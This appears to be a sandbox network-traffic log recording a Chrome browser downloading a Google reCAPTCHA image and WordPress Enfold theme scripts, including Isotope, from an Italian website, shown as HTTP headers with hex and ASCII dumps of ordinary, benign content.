2025-01-09 12:19:28 UTC	778	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="recaptcha" Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Content-Length: 18160 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 09 Jan 2025 11:49:07 GMT Expires: Thu, 09 Jan 2025 12:39:07 GMT Cache-Control: public, max-age=3000 Age: 1820 Last-Modified: Wed, 29 Jul 2020 17:15:00 GMT Content-Type: image/png Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 12:19:28 UTC	612	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 98 00 00 01 d0 08 06 00 00 00 9c 30 7c 54 00 00 46 b7 49 44 41 54 78 da ec 9d 5b 6c 5c 47 19 c7 47 71 5b 01 6a cb 03 2d a8 d9 99 b3 be a4 b5 89 51 aa 62 89 e4 cc cc 3a de 3d 9b 4b 9b 36 40 23 4b 50 de 00 55 08 21 28 42 26 21 e5 c1 69 bc 17 97 ab a0 8a 6a 10 42 bd 24 3e 67 f6 ec da 25 14 28 0d 75 02 0f 48 08 54 a4 92 aa e4 a1 94 92 50 35 71 13 db bb 67 77 bd 89 bd cc d9 d8 84 48 ae 62 3b de 62 ef f9 ff a4 bf 66 bd 96 fc 64 9d 9f e6 fb be 33 43 00 00 00 00 b0 42 f4 f7 57 d7 59 df cd 6f 8c a7 bc 87 63 e9 d2 3e 6b a0 f0 4d 24 78 89 0e 4c ec df fa e8 78 22 f2 ad 7f ff 40 f6 9d 3e c4 fb 4e ff 5c c7 16 7d 6f 3e 27 fa ce fc 5a ec 3d f3 62 64 ef 5b 63 91 fd 67 8f 77 ec 39 7e 94 f2 e1 0c 13 ea b0 21 9d a7 0c Data Ascii: PNGIHDR0\|TFIDATx[l\GGq[j-Qb:=K6@#KPU!(B&!ijB$>g%(uHTP5qgwHb;bfd3CBWYoc>kM$xLx"@>N\}o>'Z=bd[cgw9~!
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: af 32 d3 dd d1 12 55 ed d4 54 ef 27 00 80 d5 df 8f f1 25 63 f9 92 49 43 32 c8 bb 08 e6 c1 13 57 04 53 f7 a8 ab 76 3f ec bf e2 c9 4d 50 91 7b 5b 7f f7 37 26 ec 17 b4 74 9e 08 0b f5 85 70 c4 fe f8 86 88 ba 9d 00 00 56 e3 4e 46 35 f5 a4 4a cd ba 16 ff 1d 2b 35 3d 6e 25 bd c0 3f 54 91 b9 24 97 2e 98 fa 8b 47 4b 87 bb 15 26 b3 05 2d 9e f3 fa bb 33 3a 27 28 b7 87 18 b7 bf dc 12 cd dd 7d 9b f8 d9 2d 04 00 b0 7a 76 32 b1 83 13 6d b1 54 e1 fb 56 aa 52 84 64 90 5a 92 de 0a 08 a6 fe e2 61 7e 8f 47 8e 78 7a bd 10 e2 ea 4d fd fd 4b 54 b8 07 98 50 bb 9b b7 0c 37 13 00 c0 ea e8 c9 58 e9 e2 68 3c 7d d1 83 64 90 9a 60 0e 4e 55 3b 3e 7d 7c 5e 30 6b 23 22 53 31 e4 c8 94 5e cf 69 d1 bc c2 b8 33 4c fd 72 9a 39 7c 4f 73 cf d8 fb 08 00 e0 ff 53 2e 8b 3e 56 b9 3b fe 78 79 34 9e Data Ascii: 2UT'%cIC2WSv?MP{[7&tpVNF5J+5=n%?T$.GK&-3:'(}-zv2mTVRdZa~GxzMKTP7Xh<}d`NU;>}\|^0k#"S1^i3Lr9\|OsS.>V;xy4
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: 1c c7 eb a1 05 b5 50 2f 22 24 33 bb c9 f6 66 11 c1 1e da 9d d9 6d b3 ef 4d a3 a9 88 62 0d 68 11 73 2b ea ad 08 4a f1 90 25 ec bc 97 58 4f 95 1e 8a 27 2d 68 f6 cd 26 22 82 7f ea 41 14 a4 28 f1 4f 63 d3 d2 7a 10 5b 28 36 91 98 ec ee bc 9d cd a6 19 67 77 b3 61 b5 08 ad 79 49 76 77 be 1f f8 5e e7 f8 3e bc f9 fe de 7b c8 5d 24 62 4e 96 75 23 7b 3e 7a 50 c4 db fa b7 58 b0 73 e9 8e 8b cb 0d b9 40 30 40 a9 64 68 26 3f 44 79 e9 37 82 5d 4c 8b 0a e6 b3 d0 2f e6 2d 9b e4 c4 b2 66 e4 ae 44 8d ec 91 76 94 4b 57 fc ac a1 19 ce 74 a3 73 81 60 80 32 06 d3 33 3b fa 32 c5 21 62 97 7e 21 4c 56 42 bf a0 b7 a8 60 62 10 4c 6b c7 74 aa bd cc 5c 4f d2 39 a1 c5 c5 bd 6d d3 b9 90 da ce e5 92 b6 ba 73 81 60 80 42 b9 f8 3b a9 5d 3c 61 71 ef 77 ca dd 95 d0 2f e6 10 0c b2 9e 98 a2 fa Data Ascii: P/"$3fmMbhs+J%XO'-h&"A(Ocz[(6gwayIvw^>{]$bNu#{>zPXs@0@dh&?Dy7]L/-fDvKWts`23;2!b~!LVB`bLkt\O9ms`B;]<aqw/
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: 44 40 08 11 51 54 b5 bc 20 a8 2a fa 00 02 2a f5 01 26 b1 cf 99 49 82 80 52 2e 02 a9 05 71 49 76 67 d7 01 04 08 68 41 a8 20 48 69 10 f0 82 40 50 89 a2 f0 40 44 c1 8e e7 ba 8e ed e9 99 43 56 aa 2a 23 bc f6 da 3b 76 fe 3f e9 af 5d c9 6f 5e ef f9 f9 fb be 73 ce b4 4a d6 1a 1b f0 af d9 e0 36 3e 64 6e 82 05 15 99 4a 30 a8 60 10 08 06 b4 0e 13 fe 6a ea c4 bb 98 88 27 a8 08 b0 a0 22 53 b5 c8 50 c1 20 10 0c 68 8d b2 9d 9e 40 79 f0 7b ca a3 af a5 64 b0 98 22 68 91 21 10 0c 68 0f 4c 84 9b a9 93 bc c7 1c b4 c6 10 08 06 81 60 40 9b a0 83 f1 0a 4b 84 8f 51 11 1d c2 75 30 08 04 83 40 30 a0 2d 6c 7a e0 b3 63 ca 83 fe 6f 98 93 7c c1 d0 1a 43 20 18 04 82 01 ed 82 39 e1 c5 54 24 2f 61 ee 82 40 30 08 04 03 da 38 d8 1f 3e 85 89 70 2b 13 c9 41 9c 79 41 a6 2b 98 73 af 78 35 25 Data Ascii: D@QT *&IR.qIvghA Hi@P@DCV#;v?]o^sJ6>dnJ0`j'"SP h@y{d"h!hL`@KQu0@0-lzco\|C 9T$/a@08>p+AyA+sx5%
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: cd 76 59 5e 04 43 07 46 a8 12 cc 22 20 7b f4 73 b6 cb 0c 5b 99 21 18 30 0d 2e 77 e2 95 59 0b 86 89 70 02 5b 93 3b 1c 11 1e 96 4b f2 26 e5 e1 45 5b bc 96 17 65 d5 2e a3 4e fc 76 53 32 39 98 c1 48 c1 f8 8b 45 30 4d c9 1c 47 f4 ea 63 78 c0 19 04 03 7e 00 53 8c 5e 65 39 c9 fb 18 ee 77 5e 2e 6a e6 c2 a3 ba 65 27 67 17 6c bb ab 30 23 9a 33 99 b8 39 93 e9 74 05 13 98 5b 47 98 12 cc 22 62 6d b6 95 d9 a8 ed 94 99 84 64 20 18 30 05 e5 87 d2 13 28 f7 ef 66 3c c2 70 bf 93 11 91 8a 29 82 3f 96 ed d1 d3 0b b3 47 b5 cb 4c 1e be 65 b9 87 d4 4c a6 a3 82 e1 81 12 cc 62 dc 7d 49 8a 95 3b 88 51 1b c7 36 66 08 06 fc 1f 8c 07 6b 2c 11 0d 51 07 cf db ef e4 7f f9 b2 d2 98 90 ef ef 2f db c3 a7 b4 f5 f3 bd 47 49 a6 39 93 81 60 e6 08 4d af dc a6 19 f5 31 9c fc 87 60 c0 61 d2 34 5d Data Ascii: vY^CF" {s[!0.wYp[;K&E[e.NvS29HE0MGcx~S^e9w^.je'gl0#39t[G"bmd 0(f<p)?GLeLb}I;Q6fk,Q/GI9`M1`a4]
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: e7 49 5d 97 1d a9 60 9a 46 0a 46 cb e5 1d 25 97 ca 0f dd 7d 90 0b 04 93 5e f4 10 1d f5 9a ef 63 b9 65 82 c1 3e 0f 6a d1 87 54 07 fb 29 c5 7e 3e 0a fe 03 9d c9 9c 8c 60 28 13 77 9b 26 98 ae 05 3a 73 d9 85 cc 05 82 49 3d c4 11 8b a9 d7 f8 02 82 49 ee 8d 17 ca e4 06 aa 1f 10 4b 37 77 3e df ce 64 5a 13 10 cc 24 72 e9 1b 46 e6 02 c1 98 b1 9e bf c0 c4 43 94 05 fb 21 98 24 aa 97 20 b4 59 50 25 83 ad 52 8f 9a 35 ca 18 00 8d 32 19 47 7c 79 5c c9 44 95 9d 16 4c c3 18 c1 64 73 95 59 c8 5c 20 18 63 b8 8b 87 17 13 b7 ee 10 2e 6b 68 51 4e 26 7b a1 4c 8e 50 16 5e 62 58 ae a7 24 53 d7 99 cc e4 82 91 4d e2 89 c5 5a 30 06 04 fa dd f9 ca 77 c8 5c 20 18 63 b8 7d b0 7a 3d 71 e5 3a ec 1f 8b fd b4 ff d0 ab d4 6d 14 75 f5 62 18 0b d7 2a c9 b8 62 3b f5 c6 5b 93 5c 91 8d 1f 11 4c Data Ascii: I]`FF%}^ce>jT)~>`(w&:sI=IK7w>dZ$rFC!$ YP%R52G\|y\DLdsY\ c.khQN&{LP^bX$SMZ0w\ c}z=q:mub*b;[\L
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: 99 f8 88 e4 ca 6b 1b 67 6f ba f2 84 00 d0 73 81 08 98 4c 86 4a 39 45 a2 74 ed 88 28 21 60 cc b9 07 59 74 d0 53 d1 b7 c6 78 04 82 00 d2 b0 2c d6 98 67 41 cf 05 22 60 cc 41 f4 85 4b 45 5f ec 18 02 c6 a4 5b f4 57 84 7b c5 8a e8 b2 b2 1d 58 a2 9c 9e 4b 91 35 ea b9 04 11 2e 30 ae d5 c9 06 ac 0e f6 81 00 78 67 30 91 c5 14 2e 1d 58 a2 6c ce 23 92 29 ac 3b 45 5f 48 8c 3f f6 17 a4 57 b8 c4 7b 2e 08 17 38 6a 06 73 95 5e 37 09 80 37 60 fa 57 88 52 f8 37 04 8c 39 4b 94 45 29 f6 5d 49 65 78 a6 00 d2 2a 5c d0 73 81 e3 04 4c c8 e6 54 3f 11 00 6f c0 84 5f 15 bd d1 93 08 18 93 1a fc 52 74 27 95 c8 a6 0a 20 3d c2 a5 38 30 c7 52 20 ff 8a 70 81 e3 04 4c 38 cb a9 79 05 c0 07 0d 8a ab c8 53 08 98 54 8d e8 1e 6f f8 06 f9 a1 cb d7 ff 94 00 d2 20 5c d8 9c a9 76 f6 13 7a 2e f0 0e Data Ascii: kgosLJ9Et(!`YtSx,gA"`AKE_[W{XK5.0xg0.Xl#);E_H?W{.8js^77`WR79KE)]Iex*\sLT?o_Rt' =80R pL8ySTo \vz.
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: 17 b7 dd 21 e4 02 00 08 86 c4 9c b9 8c f9 3b 72 01 00 04 43 e2 c4 ed 34 e9 8c 0f 0e 0e b2 2c 06 00 08 86 c4 ad b9 38 c8 05 00 10 0c 89 26 17 6a 2e 00 80 60 48 f4 65 31 6a 2e 00 80 60 48 f4 99 0b 35 17 00 40 30 a4 34 72 61 e6 02 00 08 86 44 af b9 48 3a 8c 5c 20 90 65 d9 fc 04 00 c1 90 18 cf b9 b0 5b 0c a6 09 67 cc 59 30 db 3b 3a 3a 16 25 00 08 86 b0 15 19 62 d1 d7 d7 57 ef d3 1b c6 fd 2a 86 26 24 03 08 86 50 73 81 28 b4 b5 b5 2d 93 74 73 78 78 38 ec 28 9c 70 ff 38 c9 a9 d9 80 60 c8 1f d5 5c 24 3d f2 a9 c8 d4 5c e0 07 cd cd cd f3 dc 37 4e 85 ad ea df cf a0 2b 48 9a 70 1a 99 c9 00 82 21 bf 4c f8 df 53 73 81 62 a4 69 ba de e3 73 34 88 25 f4 95 19 92 79 e3 ef 27 98 c9 00 82 21 b9 91 34 15 17 70 cf 38 4b 13 80 ef 84 9b 0d f7 91 8b 33 e4 32 4b 32 1e b3 af 79 83 Data Ascii: !;rC4,8&j.`He1j.`H5@04raDH:\ e[gY0;::%bW*&$Ps(-tsxx8(p8`\$=\7N+Hp!LSsbis4%y'!4p8K32K2y
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: 4d 91 fd f2 9d 6b 59 ee f6 7a 3a bc bf 7c bb d5 63 7f 09 91 f9 c0 63 c5 5a 44 06 43 60 a0 e4 29 cd 3e 1e 77 1f e8 f5 40 7a 5f 5f 5f df f2 9e 9e 9e cb 33 19 84 c5 2c b3 97 b7 c5 ed 73 50 d2 29 b7 55 bd ff 28 09 91 19 71 3f 59 83 c8 60 08 0c 94 9c 9f c9 e7 13 26 24 ed 77 8e e1 09 7b 35 2b f3 93 01 ea 69 20 89 12 2f 8d 21 2c 16 da 47 25 bd 67 fe cc 4f 92 a8 fb 7e 52 10 19 49 c3 23 23 23 eb 10 19 0c 81 81 b9 78 34 53 3e 7e 22 69 bb 69 1d 1d 1d 5d 9a f7 6a 2e aa d5 bd 5a 62 ca b1 eb b8 35 d9 63 79 d2 9f 7d 50 d2 1f 08 4b d1 75 32 39 1f 87 c3 93 61 da 3b 86 c0 c0 5c a7 36 07 87 dd 37 de 70 1f 79 cc ac 8d 15 eb 31 fb 2c 06 96 1a d8 17 bf d1 9f e9 6a 49 77 f8 73 ef 8c 15 ec 92 72 f1 d9 f9 3e 94 24 32 43 ee 0f ab f1 64 30 04 06 e6 2c 34 81 a4 d3 ee 27 df 98 d7 25 Data Ascii: MkYz:\|ccZDC`)>w@z___3,sP)U(q?Y`&$w{5+i /!,G%gO~RI###x4S>~"ii]j.Zb5cy}PKu29a;\67py1,jIwsr>$2Cd0,4'%
2025-01-09 12:19:28 UTC	1390	IN	Data Raw: fd e5 44 34 46 20 10 8c e6 ff 5e 06 f8 7b b6 b9 96 c5 ae 15 9f 35 76 59 c1 a1 d7 8b 82 0d cd 64 56 f7 63 fb 32 00 71 3b 73 b1 05 73 9e fb 9f 10 d1 38 81 40 30 ba e5 c2 1c e5 fe 0a b7 5c ae 9d 59 79 d6 b8 0f 0a 9b df 2d 32 ea 7f 97 2a 84 33 32 00 c4 a1 5c 78 59 fc 22 f7 f3 89 28 45 20 10 8c 07 72 f9 83 bf 5f 3a 11 4d 16 37 98 d4 cf ac 94 74 df c1 2c bf 51 7f 9c 54 15 24 03 40 7c cd 5c da b9 f5 0f 8f 7d 04 82 d1 5d 73 b1 e5 c2 fd 8c 91 fc 82 3d 99 dd 39 31 a3 e8 e0 ea 52 d9 70 5c aa ca 41 48 06 80 b8 98 b9 74 70 3f 10 0c 06 ef 17 08 04 e3 45 cd c5 96 4b 20 10 98 22 46 98 39 9f 76 dd b3 d2 df bc 76 9b b1 eb 94 54 38 ed 0f c0 28 97 4b 27 b7 c1 48 24 f2 80 40 20 18 0f 96 c5 6c b9 ac 70 e4 a2 23 4f e7 74 df 9b e9 fb 65 3d 4b e6 0c 99 21 cc 64 00 18 85 72 61 ba Data Ascii: D4F ^{5vYdVc2q;ss8@0\Yy-2*32\xY"(E r_:M7t,QT$@\|\}]s=91Rp\AHtp?EK "F9vvT8(K'H$@ lp#Ote=K!dra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.16	49835	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	672	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 1782 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	1782	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 4d 61 67 61 7a 69 6e 65 20 66 75 6e 63 74 69 6f 6e 20 66 6f 72 20 6d 61 67 61 7a 69 6e 65 20 73 6f 72 74 69 6e 67 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Magazine function for magazine sorting// // -------------------------------------------------------------------------------------------(function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.16	49836	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	493	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 31458 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	16107	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 76 69 61 20 53 6c 69 64 65 73 68 6f 77 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Avia Slideshow======================================================================================
2025-01-09 12:19:28 UTC	15351	IN	Data Raw: 09 63 75 72 72 65 6e 74 09 09 09 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 24 73 6c 69 64 65 72 55 6c 2e 68 65 69 67 68 74 28 29 29 2c 0a 09 09 09 09 72 61 74 69 6f 09 09 09 3d 20 73 6c 69 64 65 2e 64 61 74 61 28 27 76 69 64 65 6f 2d 72 61 74 69 6f 27 29 2c 0a 09 09 09 09 73 65 74 54 6f 20 20 20 09 09 3d 20 72 61 74 69 6f 20 3f 20 74 68 69 73 2e 24 73 6c 69 64 65 72 55 6c 2e 77 69 64 74 68 28 29 20 2f 20 72 61 74 69 6f 20 3a 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 73 6c 69 64 65 2e 68 65 69 67 68 74 28 29 29 2c 0a 09 09 09 09 76 69 64 65 6f 5f 68 65 69 67 68 74 20 09 3d 20 73 6c 69 64 65 2e 64 61 74 61 28 27 76 69 64 65 6f 2d 68 65 69 67 68 74 27 29 2c 20 2f 2f 66 6f 72 63 65 64 20 76 69 64 65 6f 20 68 65 69 67 68 74 20 25 2e 20 6e 65 65 64 73 20 Data Ascii: current= Math.floor(this.$sliderUl.height()),ratio= slide.data('video-ratio'),setTo = ratio ? this.$sliderUl.width() / ratio : Math.floor(slide.height()),video_height = slide.data('video-height'), //forced video height %. needs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.16	49834	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	672	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 49143 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	16107	IN	Data Raw: 2f 2a 21 0a 20 2a 20 49 73 6f 74 6f 70 65 20 50 41 43 4b 41 47 45 44 20 76 33 2e 30 2e 35 0a 20 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 47 50 4c 76 33 20 66 6f 72 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 75 73 65 0a 20 2a 20 6f 72 20 49 73 6f 74 6f 70 65 20 43 6f 6d 6d 65 72 63 69 61 6c 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 20 75 73 65 0a 20 2a 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 69 73 6f 74 6f 70 65 2e 6d 65 74 61 66 69 7a 7a 79 2e 63 6f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 37 20 4d 65 74 61 66 69 7a 7a 79 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 6a 71 Data Ascii: /! Isotope PACKAGED v3.0.5 * * Licensed GPLv3 for open source use * or Isotope Commercial License for commercial use * * https://isotope.metafizzy.co * Copyright 2017 Metafizzy */!function(t,e){"function"==typeof define&&define.amd?define("jq
2025-01-09 12:19:28 UTC	16384	IN	Data Raw: 72 4c 61 79 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 69 73 49 67 6e 6f 72 65 64 7d 29 7d 2c 63 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 68 69 73 2e 5f 65 6d 69 74 43 6f 6d 70 6c 65 74 65 4f 6e 49 74 65 6d 73 28 22 6c 61 79 6f 75 74 22 2c 74 29 2c 74 26 26 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 69 3d 5b 5d 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 4c 61 79 6f 75 74 50 6f 73 69 74 69 6f 6e 28 74 29 3b 6f 2e 69 74 65 6d 3d 74 2c 6f 2e 69 73 49 6e 73 74 61 6e 74 3d 65 7c 7c 74 2e 69 73 4c 61 79 6f 75 74 Data Ascii: rLayout=function(t){return t.filter(function(t){return!t.isIgnored})},c._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var o=this._getItemLayoutPosition(t);o.item=t,o.isInstant=e\|\|t.isLayout
2025-01-09 12:19:28 UTC	16384	IN	Data Raw: 74 65 6d 73 53 6f 72 74 44 61 74 61 28 65 29 7d 2c 6c 2e 5f 67 65 74 53 6f 72 74 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 67 65 74 53 6f 72 74 44 61 74 61 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 29 7b 76 61 72 20 69 3d 74 5b 65 5d 3b 74 68 69 73 2e 5f 73 6f 72 74 65 72 73 5b 65 5d 3d 66 28 69 29 7d 7d 2c 6c 2e 5f 75 70 64 61 74 65 49 74 65 6d 73 53 6f 72 74 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 26 26 74 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 65 26 26 69 3c 65 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 74 5b 69 5d 3b 6f 2e 75 70 64 61 74 65 53 6f 72 74 44 61 74 61 28 29 7d 7d 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: temsSortData(e)},l._getSorters=function(){var t=this.options.getSortData;for(var e in t){var i=t[e];this._sorters[e]=f(i)}},l._updateItemsSortData=function(t){for(var e=t&&t.length,i=0;e&&i<e;i++){var o=t[i];o.updateSortData()}};var f=function(){function
2025-01-09 12:19:28 UTC	268	IN	Data Raw: 2e 5f 67 65 74 4f 70 74 69 6f 6e 28 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 29 3f 74 68 69 73 2e 6e 65 65 64 73 56 65 72 74 69 63 61 6c 52 65 73 69 7a 65 4c 61 79 6f 75 74 28 29 3a 69 2e 63 61 6c 6c 28 74 68 69 73 29 7d 3b 76 61 72 20 6a 3d 64 2e 5f 67 65 74 4f 70 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 2e 5f 67 65 74 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 3d 3d 61 3f 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 3f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 3a 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 6f 72 69 7a 6f 6e 74 61 6c 3a 